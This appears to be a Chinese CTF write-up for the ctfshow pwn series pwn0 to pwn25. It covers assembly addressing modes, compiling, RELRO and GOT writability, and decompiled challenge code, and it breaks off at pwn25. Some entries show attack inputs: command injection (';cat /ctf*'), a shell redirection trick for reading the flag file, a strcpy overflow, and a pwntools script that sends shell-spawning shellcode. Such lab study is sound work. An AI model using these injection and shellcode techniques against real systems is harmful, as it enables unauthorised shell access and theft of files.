从零开始的pwn生活
pwn0
ssh [email protected] -p28184 # 123456
ssh连接会有一段炫酷的画面
pwn1
IDA反编译一下附件
nc直接给flag
pwn2
太友好了 直接给了shell
pwn3
直接选6拿flag
pwn4
输入CTFshowPWN
getshell
前置基础
pwn5
运行此文件,将得到的字符串以ctfshow{xxxxx}提交。
汇编代码
section .data
msg db "Welcome_to_CTFshow_PWN", 0
section .text
global _start
_start:
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用
; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0s
int 0x80 ; 调用系统调用
使用NASM汇编器和ld链接器编译成可执行文件。
使用以下命令将其编译为对象文件
nasm -f elf pwn5_1.asm
这将生成一个名为pwn5_1.o 的对象文件。接下来,使用以下命令将对象文件链接成可执行文件:
ld -m elf_i386 -s -o pwn5_1 pwn5_1.o
ld
是 Linux 下的链接器,用于将一个或多个对象文件(.o
文件)和库文件链接成可执行文件或库文件。在你提供的命令中:
ld
:链接器程序本身。-m elf_i386
:指定生成的目标文件格式为elf_i386
,这是为 32 位 Intel 架构计算机生成的 ELF(Executable and Linkable Format)格式。-s
:这个选项告诉链接器在生成的可执行文件中剥离所有符号信息。这通常用于减少可执行文件的大小,并且可能用于安全目的,以防止某些类型的逆向工程。-o pwn5_1
:指定输出文件的名称为pwn5_1
。pwn5_1.o
:这是要链接的对象文件。
这将生成一个名为 pwn5_1 的可执行文件 (事实上题目附件第二个就是)
运行pwn5_1或者pwn5_2即可
pwn6(立即寻址)
立即寻址方式结束后eax寄存器的值为?
立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
11+114504-1=114514
pwn7(寄存器寻址)
寄存器寻址方式结束后edx寄存器的值为?
寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
0x36D
pwn8(直接寻址)
直接寻址方式结束后ecx寄存器的值为?
section .data
msg db "Welcome_to_CTFshow_PWN", 0
直接寻址方式
mov ecx, [msg] ; 将msg的地址赋值给ecx
0x80490E8
pwn9(寄存器间接寻址)
寄存器间接寻址方式结束后eax寄存器的值为?
寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
0x636C6557
pwn10(寄存器相对寻址)
寄存器相对寻址方式结束后eax寄存器的值为?
寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
080490E8+4=080490EC “ome_to_CTFshow_PWN”
pwn11(基址变址寻址)
基址变址寻址方式结束后的eax寄存器的值为?
基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
080490E8+2*2=080490EC “ome_to_CTFshow_PWN”
pwn12(相对基址变址寻址)
相对基址变址寻址方式结束后eax寄存器的值为?
相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
080490E8+8+1*2-6=080490EC “ome_to_CTFshow_PWN”
pwn13(gcc)
如何使用GCC?编译运行后即可获得flag
gcc flag.c -o flag
./flag
ctfshow{hOw_t0_us3_GCC?}
pwn14
请你阅读以下源码,给定key为”CTFshow”,编译运行即可获得flag
#include <stdio.h>
#include <stdlib.h>
#define BUFFER_SIZE 1024
int main() {
FILE *fp;
unsigned char buffer[BUFFER_SIZE];
size_t n;
fp = fopen("pwn14_key", "rb");
if (fp == NULL) {
perror("Nothing here!");
return -1;
}
char output[BUFFER_SIZE * 9 + 12];
int offset = 0;
offset += sprintf(output + offset, "ctfshow{");
while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {
for (size_t i = 0; i < n; i++) {
for (int j = 7; j >= 0; j--) {
offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);
}
if (i != n - 1) {
offset += sprintf(output + offset, "_");
}
}
if (!feof(fp)) {
offset += sprintf(output + offset, " ");
}
}
offset += sprintf(output + offset, "}");
printf("%s\n", output);
fclose(fp);
return 0;
}
程序打开名为 “pwn14_key” 的文件,以二进制(”rb”)模式进行读取。如果文件打开失败,将输出错误消息 “Nothing here!” 并返回 -1。
接下去就是通过循环将fp的值(也就是key的内容)逐个转为8位二进制数,通过”_”连接,用ctfshow{}包裹后存入output中
echo "CTFshow" > pwn14_key
gcc pwn14_flag.c -o pwn14
./pwn14
ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}
pwn15(nasm)
编译汇编代码到可执行文件,即可拿到flag
这段代码是一个使用 x86 汇编语言编写的程序,用于在标准输出上打印一串特定格式的字符串。要将这段代码编译为可执行文件,使用汇编器和链接器进行以下步骤:
section .data
str1 db "CTFshow",0
str2 db "_3@sy",0
str3 db "@ss3mb1y",0
str4 db "_1s",0
str5 db "ctfshow{"
str6 db "}"
section .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, str5
mov edx, 8
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, str3
mov edx, 8
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, str4
mov edx, 3
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, str2
mov edx, 5
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, str6
mov edx, 1
int 0x80
mov eax, 1
xor ebx, ebx
int 0x80
nasm -f elf pwn15_flag.asm -o pwn15.o
ld -m elf_i386 -o pwn15 pwn15.o
./pwn15
ctfshow{@ss3mb1y_1s_3@sy}
pwn16(gcc .s)
使用gcc将其编译为可执行文件
.s
文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言是一种低级编程语言,用于直接操作计算机的指令集架构。 .s
文件通常由汇编器(Assembler
)处理,将其转换为可执行文件或目标文件。可以使用 gcc
命令直接编译汇编语言源文件( .s
文件)并将其链接为可执行文件。 gcc
命令具有适用于多种语言的编译器驱动程序功能,它可以根据输入文件的扩展名自动选择适当的编译器和链接器
gcc pwn16_flag.s -o pwn16
./pwn16
ctfshow{daniuniuda}
pwn17
IDA 关键源码
while ( 1 )
{
menu(v4, v3);
v5 = 0;
puts("\nEnter the command you want choose:(1.2.3.4 or 5)\n");
v3 = &v5;
__isoc99_scanf("%d", &v5);
switch ( (unsigned int)off_140C )
{
case 1u:
v4 = "id";
system("id");
break;
case 2u:
puts("Which directory?('/','./' or the directiry you want?)");
read(0, &buf, 0xAuLL);
v3 = (int *)&buf;
strcat(dest, &buf);
system(dest);
v4 = "Execution succeeded!";
puts("Execution succeeded!");
break;
case 3u:
sleep(1u);
puts("$cat /ctfshow_flag");
sleep(1u);
puts("ctfshow{");
sleep(2u);
puts("... ...");
sleep(3u);
puts("Your flag is ...");
sleep(5u);
puts("ctfshow{flag is not here!}");
sleep(0x14u);
puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");
sleep(0x1BF52u);
v4 = "cat /ctfshow_flag";
system("cat /ctfshow_flag");
break;
case 4u:
sleep(2u);
v4 = "su: Authentication failure";
puts("su: Authentication failure");
break;
case 5u:
puts("See you!");
exit(-1);
return;
default:
v4 = "command not found!";
puts("command not found!");
break;
}
}
选项2 命令拼接 ;cat /ctf*
pwn18(>>追加)
IDA反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(s);
puts(asc_B10);
puts(asc_B90);
puts(asc_C20);
puts(asc_CB0);
puts(asc_D38);
puts(asc_DD0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Do you know redirect output ? ");
puts(" * ************************************* ");
puts("Which is the real flag?");
__isoc99_scanf("%d", &v4);
if ( v4 == 9 )
fake();
else
real();
system("cat /ctfshow_flag");
return 0;
}
分别跟进fake()
和real()
#fake()
int fake()
{
return system("echo 'flag is here'>>/ctfshow_flag");
}
#real()
int real()
{
return system("echo 'flag is here'>/ctfshow_flag");
}
可以看到fake是>>追加 real是>覆盖写入
于是填9进入fake即可
pwn19(1>&0)
Hint: 关闭了输出流,一定是最安全的吗?
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-30h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts(s);
puts(asc_BF0);
puts(asc_C70);
puts(asc_D00);
puts(asc_D90);
puts(asc_E18);
puts(asc_EB0);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Turn off output, how to get flag? ");
puts(" * ************************************* ");
if ( fork() )
{
wait(0LL);
sleep(3u);
printf("flag is not here!", 0LL);
}
else
{
puts("give you a shell! now you need to get flag!");
fclose(_bss_start);
read(0, &buf, 0x20uLL);
system(&buf);
}
return 0;
}
if (fork()) : 这里使用 fork() 函数创建一个子进程。父进程中, fork() 返回子进程的进程ID,所以进入if 语句块;子进程中, fork() 返回0,所以进入 else 语句块。
在父进程中:
wait(0LL) : 父进程通过 wait() 函数等待子进程的结束,以确保子进程执行完毕。
sleep(3u) : 父进程睡眠3秒钟。
printf(“flag is not here!”) : 输出提示信息,表明flag不在此处。
在子进程中:
puts(“give you a shell! now you need to get flag!”) : 输出提示信息,表示给予用户一个shell,让其获取flag。
fclose() : 关闭文件输出流。
read(0, &buf, 0x20uLL) : 从标准输入中读取用户输入的命令,并存储在 buf 中。
system(&buf) : 执行用户输入的命令。
我们可以使用了 exec 函数来执行 sh 命令,并使用 1>&0 来进行输出重定向。这个命令将标准输出重定向到标准输入,实际上就是将命令的输出发送到后续命令的输入。
具体来说, 1>&0 中的 1 表示标准输出, 0 表示标准输入。通过将标准输出重定向到标准输入,可以实现将命令的输出作为后续命令的输入。这样可以在执行 sh 命令后,进入一个交互式的Shell环境,可以在该环境中执行命令并与用户进行交互。
也可以直接exec cat /ctf* 1>&0
将 cat /ctf*
命令的输出发送到标准输入,实际上就是将命令的输出再次输出到屏幕上
pwn20(RELRO)
聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT
聊聊Linux动态链接中的PLT和GOT(2)——延迟重定位
聊聊Linux动态链接中的PLT和GOT(3)——公共GOT表项
可以看到仅开启了NX保护,RELRO保护是完全关闭状态
这里先将一下RELRO保护:RELRO(RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。它主要通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure Linkage Table,简称 PLT)的可写性来防止针对这些结构的攻击。
RELRO保护有三种状态:
- No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指
针,从而进行攻击。这是最弱的保护状态。 - Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可
写。这样可以防止一些简单的攻击,但仍存在一些漏洞。 - Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构
的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止。
objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。
- Linux下反汇编目标文件或者可执行文件。
- 查看静态库和动态库有哪些函数
查看一下表项地址
❯ readelf -S pwn20
There are 29 section headers, starting at offset 0x1878:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400200 00000200
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 000000000040021c 0000021c
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 000000000040023c 0000023c
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400260 00000260
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 0000000000400280 00000280
0000000000000090 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400310 00000310
000000000000004b 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 000000000040035c 0000035c
000000000000000c 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000400368 00000368
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 0000000000400388 00000388
0000000000000030 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004003b8 000003b8
0000000000000048 0000000000000018 AI 5 22 8
[11] .init PROGBITS 0000000000400400 00000400
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400420 00000420
0000000000000040 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400460 00000460
0000000000000252 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004006b4 000006b4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004006c0 000006c0
000000000000053a 0000000000000000 A 0 0 8
[16] .eh_frame_hdr PROGBITS 0000000000400bfc 00000bfc
000000000000003c 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400c38 00000c38
0000000000000100 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000600d38 00000d38
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600d40 00000d40
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600d48 00000d48
00000000000001d0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600f18 00000f18
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000600f28 00000f28
0000000000000030 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000600f58 00000f58
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000600f68 00000f68
0000000000000008 0000000000000000 WA 0 0 1
[25] .comment PROGBITS 0000000000000000 00000f68
0000000000000029 0000000000000001 MS 0 0 1
[26] .symtab SYMTAB 0000000000000000 00000f98
00000000000005e8 0000000000000018 27 43 8
[27] .strtab STRTAB 0000000000000000 00001580
00000000000001f1 0000000000000000 0 0 1
[28] .shstrtab STRTAB 0000000000000000 00001771
0000000000000103 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
readelf一般用于查看ELF格式的文件信息,常见的文件如在Linux上的可执行文件,动态库(.so)或者静态库(.a) 等包含ELF格式的文件
Ask:
提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}
例如 .got可写.got.plt表可写其地址为0x400820 0x8208820
最终flag为ctfshow{1_1_0x400820_0x8208820}
若某个表不存在,则无需写其对应地址
如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}
[21] .got PROGBITS 0000000000600f18 00000f18
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000600f28 00000f28
0000000000000030 0000000000000008 WA 0 0 8
根据反编译后的代码进行测试
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
puts(s);
puts(asc_400740);
puts(asc_4007C0);
puts(asc_400850);
puts(asc_4008E0);
puts(asc_400968);
puts(asc_400A00);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : What is RELRO protection ? ");
puts(" * ************************************* ");
v3 = (_QWORD *)strtol(argv[1], 0LL, 16);
*v3 = 1380273234LL;
printf("RELRO: %x\n", (unsigned int)*v3, argv);
return 0;
}
ctfshow{1_1_0x600f18_0x600f28}
pwn21(Partial RELRO)
这次变成 Partial RELRO
了
Partial RELRO:一些段(包括.dynamic、.got等)在初始化后将会被标记为只读。在Ubuntu16.04(GCC-5.4.0)上默认开启Partial RELRO。
Full RELRO:除了Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,.gotPlt段会被完全初始化为目标函数的最终地址,并被mprotect标记为只读但其实.got.plt会直接被合并到.got,也就看不到这段了。另外link_map和_dl_runtime_resolve的地址也不会被装入。开启Full RELRO会对程序启动时的性能造成一定的影响,但也只有这样才能防止攻击者篡改GOT。
当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。
当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。
当RELRO为No RELRO时,表示.got与.got.plt都可写。
❯ readelf -S pwn21
There are 29 section headers, starting at offset 0x1950:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002b8 000002b8
0000000000000090 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400348 00000348
000000000000004b 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 0000000000400394 00000394
000000000000000c 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 00000000004003a0 000003a0
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 00000000004003c0 000003c0
0000000000000030 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004003f0 000003f0
0000000000000048 0000000000000018 AI 5 22 8
[11] .init PROGBITS 0000000000400438 00000438
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400450 00000450
0000000000000040 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400490 00000490
0000000000000252 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004006e4 000006e4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004006f0 000006f0
000000000000053a 0000000000000000 A 0 0 8
[16] .eh_frame_hdr PROGBITS 0000000000400c2c 00000c2c
000000000000003c 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400c68 00000c68
0000000000000100 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000600e10 00000e10
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600e18 00000e18
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600e20 00000e20
00000000000001d0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000030 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000601030 00001030
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000601040 00001040
0000000000000008 0000000000000000 WA 0 0 1
[25] .comment PROGBITS 0000000000000000 00001040
0000000000000029 0000000000000001 MS 0 0 1
[26] .symtab SYMTAB 0000000000000000 00001070
00000000000005e8 0000000000000018 27 43 8
[27] .strtab STRTAB 0000000000000000 00001658
00000000000001f1 0000000000000000 0 0 1
[28] .shstrtab STRTAB 0000000000000000 00001849
0000000000000103 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
ctfshow{0_1_0x600ff0_0x601000}
pwn22(Full RELRO)
.got
和.got.plt
都不可写
readelf -S pwn22
There are 28 section headers, starting at offset 0x1900:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002b8 000002b8
0000000000000090 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400348 00000348
000000000000004b 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 0000000000400394 00000394
000000000000000c 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 00000000004003a0 000003a0
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 00000000004003c0 000003c0
0000000000000030 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004003f0 000003f0
0000000000000048 0000000000000018 AI 5 21 8
[11] .init PROGBITS 0000000000400438 00000438
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400450 00000450
0000000000000040 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400490 00000490
0000000000000252 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004006e4 000006e4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004006f0 000006f0
000000000000053a 0000000000000000 A 0 0 8
[16] .eh_frame_hdr PROGBITS 0000000000400c2c 00000c2c
000000000000003c 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400c68 00000c68
0000000000000100 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000600dc0 00000dc0
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600dc8 00000dc8
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600dd0 00000dd0
00000000000001f0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600fc0 00000fc0
0000000000000040 0000000000000008 WA 0 0 8
[22] .data PROGBITS 0000000000601000 00001000
0000000000000010 0000000000000000 WA 0 0 8
[23] .bss NOBITS 0000000000601010 00001010
0000000000000008 0000000000000000 WA 0 0 1
[24] .comment PROGBITS 0000000000000000 00001010
0000000000000029 0000000000000001 MS 0 0 1
[25] .symtab SYMTAB 0000000000000000 00001040
00000000000005d0 0000000000000018 26 42 8
[26] .strtab STRTAB 0000000000000000 00001610
00000000000001f1 0000000000000000 0 0 1
[27] .shstrtab STRTAB 0000000000000000 00001801
00000000000000fa 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
ctfshow{0_0_0x600fc0}
pwn23(dest)
IDA 32位
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
int v5; // [esp-Ch] [ebp-2Ch]
int v6; // [esp-8h] [ebp-28h]
int v7; // [esp-4h] [ebp-24h]
FILE *stream; // [esp+4h] [ebp-1Ch]
stream = fopen("/ctfshow_flag", (const char *)&unk_8048904);
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
v3 = getegid();
setresgid(v3, v3, v3, v5, v6, v7, v3);
puts((const char *)&unk_8048940);
puts((const char *)&unk_80489B4);
puts((const char *)&unk_8048A30);
puts((const char *)&unk_8048ABC);
puts((const char *)&unk_8048B4C);
puts((const char *)&unk_8048BD0);
puts((const char *)&unk_8048C64);
puts(" * ************************************* ");
puts((const char *)&unk_8048D28);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No canary found ");
puts(" * ************************************* ");
puts("How to input ?");
if ( argc > 1 )
ctfshow((char *)argv[1]);
return 0;
}
1.首先,程序尝试打开名为”/ctfshow_flag”的文件,并将文件指针赋值给 stream 变量。如果打开文件失败(文件不存在或无法访问),程序输出错误消息并终止。
2.如果成功打开文件,程序使用 fgets 函数从文件中读取最多64个字符到名为 flag 的缓冲区。
3.程序输出提示消息:”How to input ?”
4.如果程序运行时传入了命令行参数( argc 大于1),则调用 ctfshow 函数,并将第一个命令行参数作为参数传递给该函数。
跟进ctfshow函数
char *__cdecl ctfshow(char *src)
{
char dest; // [esp+Ah] [ebp-3Eh]
return strcpy(&dest, src);
}
5.ctfshow 函数很简单,它接受一个字符串参数 src ,并使用 strcpy 函数将该字符串复制到名为 dest 的缓冲区中。然后,它返回指向 dest 缓冲区的指针。
ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的!并且src就是我们输入的参数,使我们可控的,并且他没有被限制长度,代表我们可以利用溢出漏洞!
参数足够长溢出之后即可getFlag
pwn24(ret2shellcode)
你可以使用pwntools的shellcraft模块来进行攻击
IDA 32位 仅部分开启RELRO保护 存在一个RWX权限的段,即可读可写可执行的段
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
puts((const char *)&unk_80486E0);
puts((const char *)&unk_8048754);
puts((const char *)&unk_80487D0);
puts((const char *)&unk_804885C);
puts((const char *)&unk_80488EC);
puts((const char *)&unk_8048970);
puts((const char *)&unk_8048A04);
puts(" * ************************************* ");
puts((const char *)&unk_8048AC8);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : NX disabled & Has RWX segments ");
puts(" * ************************************* ");
ctfshow(&argc);
return 0;
}
反编译没法跟进ctfshow
.text:080484C6 public ctfshow
.text:080484C6 ctfshow proc near ; CODE XREF: main+132↓p
.text:080484C6
.text:080484C6 buf = byte ptr -88h
.text:080484C6 var_4 = dword ptr -4
.text:080484C6
.text:080484C6 ; __unwind {
.text:080484C6 push ebp
.text:080484C7 mov ebp, esp
.text:080484C9 push ebx
.text:080484CA sub esp, 84h
.text:080484D0 call __x86_get_pc_thunk_bx
.text:080484D5 add ebx, 1B2Bh
.text:080484DB sub esp, 4
.text:080484DE push 100h ; nbytes
.text:080484E3 lea eax, [ebp+buf]
.text:080484E9 push eax ; buf
.text:080484EA push 0 ; fd
.text:080484EC call _read ; 调用read函数 将我们写入的读进去
.text:080484F1 add esp, 10h
.text:080484F4 sub esp, 0Ch
.text:080484F7 lea eax, [ebp+buf] ; 将我们输入赋给eax的[ebp+buf]
.text:080484FD push eax ; s
.text:080484FE call _puts
.text:08048503 add esp, 10h
.text:08048506 lea eax, [ebp+buf]
.text:0804850C call eax ; 执行读入的内容
.text:0804850E nop
.text:0804850F mov ebx, [ebp+var_4]
.text:08048512 leave
.text:08048513 retn
.text:08048513 ; } // starts at 80484C6
.text:08048513 ctfshow endp
pwn文件的NX是关掉的,代表栈可执行。
而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode!
from pwn import *
io = remote('pwn.challenge.ctf.show', 28127)
# io = process('./../Challenge/ctfshow_pwn/pwn24')
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
pwn25(ret2libc)
开启NX保护,或许可以试试ret2libc
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow();
logo();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
#ctfshow
ssize_t ctfshow()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
